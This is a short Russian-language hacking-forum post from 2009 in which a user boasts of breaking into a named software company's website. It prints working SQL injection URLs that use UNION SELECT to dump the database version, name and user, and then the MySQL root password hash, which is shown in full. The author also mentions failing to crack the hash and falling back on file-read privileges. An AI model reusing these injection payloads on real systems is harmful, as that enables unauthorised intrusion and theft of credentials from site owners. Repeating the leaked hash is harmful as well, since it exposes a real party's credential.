05.02.2009, 21:50
|
|
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
Провел на форуме:
800953
Репутация:
443
|
|
Ещё одна крупная компания -) Берём рута
http://www.vero-software.com/news_detail.php?id=180980980983+union+select+1,2,c oncat_ws(0x3a,version(),user(),database()),4,5,6--
Database Version: 5.0.45-community-nt
Database name: vero_english
User name: root@localhost
Берём юзеров с мускула! Он один. Ах как обидно -)
http://www.vero-software.com/news_detail.php?id=180980980983+UNION+SELECT+1,2,A ES_DECRYPT(AES_ENCRYPT(CONCAT(0x3a,(SELECT+CONCAT( User,0x3a,Password)+FROM+mysql.user+LIMIT+0,1),0x3 a),0x71),0x71),4,5,6--
: root : *4F94E0B0F39112E823AFC0BFA211C72E2897226F
Бегаем везде по разным сервисам но почему то облом не брутится -(.И опять не обидно есть читалка. Ведь file priv хорошо говорит всё -)
|
|
|